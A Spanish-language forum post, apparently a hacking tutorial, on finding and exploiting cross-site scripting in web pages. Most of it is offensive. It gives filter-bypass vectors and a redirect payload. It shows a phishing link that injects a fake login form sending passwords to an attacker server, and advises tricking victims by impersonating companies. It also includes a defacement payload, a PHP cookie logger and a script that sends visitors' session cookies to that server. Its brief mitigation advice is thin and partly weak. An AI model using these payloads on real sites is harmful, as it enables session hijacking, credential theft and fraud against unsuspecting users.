Autor
[ Index ]
>¿Qué son? // de donde viene, por que se dan?
>¿Para que nos sirven? // usos que le podemos dar, por que se dicen que se explotan...
>¿Como automatizarlos? // scripts necesarios para la automatizacion de los datos que nos interesan
>¿Como erradicarlos? //formas de realizar una programación segura
[ ¿Qué son? ]
El fallo se da por la capacidad que tiene cierta página de mostrar el contenido de una variable de un lenguaje web (javascript, php...etc) Al recoger los datos de la variable no valida su contenido y lo muestra a como lo leyo, pero el contenido al ser mostrado en el navegador va incluido en el código de fuente, y si la variable llevara códigos html estos formarían parte del contenido del sitio o siendo scripts al ser cargada la página estos se ejecutarían. | Este bug es muy común en Busquedas internas por ejemplo.
Ejemplos de códigos vulnerables:
Ex(1) en PHP:
Código:
<?php
echo'<html><head><title>Ejemplo XSS Vuln</title></head><body><form action="'.$_SERVER[PHP_SELF].'" method="GET" name="form1"><center>Introduza su nombre: <input type="text" name="nombre"><input type="button" name=submit value="enviar"></body></html>';
$name = $_GET['nombre'];
echo"su nombre es $name";
?>
Ex(2) en javascript:
Código:
<html>
<head><title>Example XSS Vuln</title></head>
<body>
<script languaje="javascript">
<!--
function Mostrarnombre()
{
document.write('Su nombre es: ' + document.nombre.name.value);
}
//->
</script>
<form name="nombre">
<input type="text" name="name">
<a href="javascript:Mostrarnombre();">Mostrar nombre</a><br>
</body>
</html>
En ambos casos podemos sustituir el valor del nombre por ejemplo por, <script>alert()</script>, y si salta un mensaje de alerta es que no hace ninguna comprobacion o bien es vulnerable a XSS.
[ ¿Para qué nos sirven? ]
Pues si estan dentro del hack deben de servir para algo no??, pues si... las html injections nos pueden servir para fines totalmente distintos:
-Apoderarnos del navegador de la victima
-Apoderarnos de la cookie de sesion de la victima
-Quedarnos con su password con ayuda de la ing social
-Modificar una página
Apoderandonos del navegador de la victima.
####################################
Con esto no quiero decir que vamos a tener una interfaz gráfica del navegador de la victima y vamos a poder manosearle el navegador a gusto y antojo. No, pero si es algo muy cercano a ello, por ejemplo con xss podemos hacer que el usuario visite una página sin su consentimiento, (¿no es esto pop-up?) nooo...claro que no, en primer lugar el pop-up es molesto (asi es su naturaleza) y nosotros podemos crear una página agradable que diga por ejemplo "redireccionando a nuestra página nueva".
OK ¿pero como redirecciono al man? <META HTTP-EQUIV=Refresh CONTENT="0; URL=http://www.tuserver.com/"> Este código lo que hace es redireccionar a www.tuserver.com en 0 segundos, osea ya!! Pero donde inserto esto?? Ajam, ahora si se los explico.
Cuando nosotros consideramos a una aplicacion vulnerable a XSS almenos yo las clasifico en 2 grupos:
1. Las aplicaciones webs que alojan el código, (como tagboard's, foros, libros de visitas, sistemas de comentarios..etc)
2. Las aplicaciones webs que muestran el contenido de cierta variable pero no la dejan alojada, por ejemplo un server que contenga una variable no comprobada asi:
http://www.elserver.com/app/index.php?chit=<script>alert()</script> en este caso por X o Y motivo el contenido de la variabel chit se muestra en pantalla, pero no aloja nada para mostrar despues, por eso siempre veras los bug's XSS como "nivel de gravedad:bajo" si no es que muuy bajo.
Pero que...¿inyectar este código no siempre es tan fácil? en ocasiones claro ayudandonos del código de la aplicacion web, veremos si las variables son comprobadas en ciertas condiciones, o inclusive intentar meter el código en una imágina o en su información EXIF o en la cookie. Las zonas donde podemos intentar localizar el bug son muchas. Es común que te encuentres con bugs de tipo:
<img dynsrc="javascript: codigo">
<input type="image" dynsrc="javascript: codigo">
<bgsound src="javascript: codigo">
Como observamos estos son algunas formas de saltarnos ciertas "protecciones".
Apoderandonos de la cookie de sesion de la victima.
###########################################
Repasemos: ¿qué es la cookie?
Los Cookies graban información acerca de su visita a un sitio en particular, y sólo el sitio que los creó los puede leer más tarde. Se usan cookies para hacer que su navegación en la Web sea más personal y conveniente. [hasta aquí...eso es lo principal]
El objetivo de este paper no es practicar el Cookie poisong, asi que sólo mostraré como sacar la cookie por XSS.
Una vez hallamos localizado una aplicacion vulnerable podemos obtener la cookie de la siguiente forma <script>alert(document.cookie)</script>
Y con gentileza nos devuelve la cookie. Esta si es de tipo [user::guest] podemos intentar cambiarla por [user::admin] para ver si nos logueamos como admins.
Pero con que cambio la cookie, Existen muchas toolz, (aparte claro de hacer la conexion manualmente y Poner el header Cookie:..etc) una de las toolz es IECV
Internet Explorer Cookie Viewer. Claro también las modifica.
ok, ahora para enviarnos la cookie?? Miren hacia abajo en ¿como automatizarlos?.
Quedandonos con su user y pass con ing. social.
#########################################
OK. ¿Cómo le hacemos para que la victima vaya a la página vulnerable?
Vamos con la ingenería social, que consiste en engañar a la gente para que haga algo, para esto nos valemos desde mails anónimos o técnicas avanzadas de phishing.
Por ejemplo podríamos enviar un mail a la víctima diciendo haciendonos pasar por una empresa, que ofrece un servicio (hosting gratuito, diseños gratis..etc) Y poner en el vínculo una dirección así:
Código:
http://www.servervuln.com/index.php?varvuln=<form method="POST" action="http://www.tuserver.com/recv.php"><b>Introduzca los datos de su cuenta por favor:<br>Nombre: <input type="text" name="username"><br>Password: <input type="password" name="pass"><br><input type="button" value="enviar" name="botom"></form>
Eso es sólo un ejemplo unstedes mejorenlo según la situación.
-Ahora que si ya tenemos el script en una página sólo basta Mandarle la dirección. O hacerle aparecer un pop-up con javascript asi:
Código:
<script language=javascript>
function ventanaSecundaria (URL){
window.open(URL,"ventana1","width=120,height=300,scrollbars=NO")
}
</script>
<a href="javascript:ventanaSecundaria('http://www.elhacker.net')"> Hosting Gratuito</a>
Como puedes observar se puede hacer de todo las unicas limitantes son las del mismo tipo de script que insertemos.
--------------------------
Lean sobre la ing. social, pero no la mal interpreten que no es que toda la vida vas a andar engañando por alli, tienes que darte credibilidad como persona.
Modificando la página.
###################
Código:
<div id="Hacked" style="position:absolute; width:200%; height:10000px;"z-index:1; left: 0px; top: 0px; background-color: #FFFFFF; layer-background-color: #FFFFFF; border: 1px none #000000;"><p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center">HOLA.</p> <div align="left"> <blockquote> <p align="center">-s0cratex</p> </blockquote> </div> </div>
eXtras
#####
1. no escribi acerca de:
url encode, por que nunca me ha sido de muxa utilidad, ademas firefox lo urlencodea automaticamente.
2. este tipo de ataques entre la comunidad de "hackers" son considerados como de "script kiddies" no su explotacion, si no el verlo como algo muy importante o usarlo en exceso (ya saben andar redireccionando a todo mundo)
3. escucharon acerca de un virus xss, es falso jeje (esa no es la funcion de un virus), pero la historia es medio-diver leanla.
[ ¿Cómo automatizarlos ? ]
Una vez encontramos un foro, y queremos quedarnos con la cookie del administrador. Entonces podemos hacer que todos los visitantes que por ejemplo miren el foro nos envien su cookie e IP. Con unas cuantas líneas mas podemos hacer que lo envíen al mail pero si se supone que el server atacante es nuestro no hay necesidad.
Asi:
en nuestro server colocamos el "gcookie.php" con el siguiente código->
Código:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>
Código:
<script>window.location='http://www.tuserver.com/gcookie.php?c='+document.cookie;</script>
[ ¿Cómo erradicarlos? ]
Desactivar el uso de scripting en el navegador.
Usar el mehotd POST y no GET.
Filtrar el contenido de las variables (ponganle las " ")
Texto creado por s0cratex [ernesto lópez] at s0cr4t3x@gmail.com
Versión html muy pronto (claro es mas monita)
En línea
.
ah! tambien incluir cookie poisong (para bypass), ya que la cookie es uno de los principales objetivos al momento de explotar este bug... bueno espero opinen.
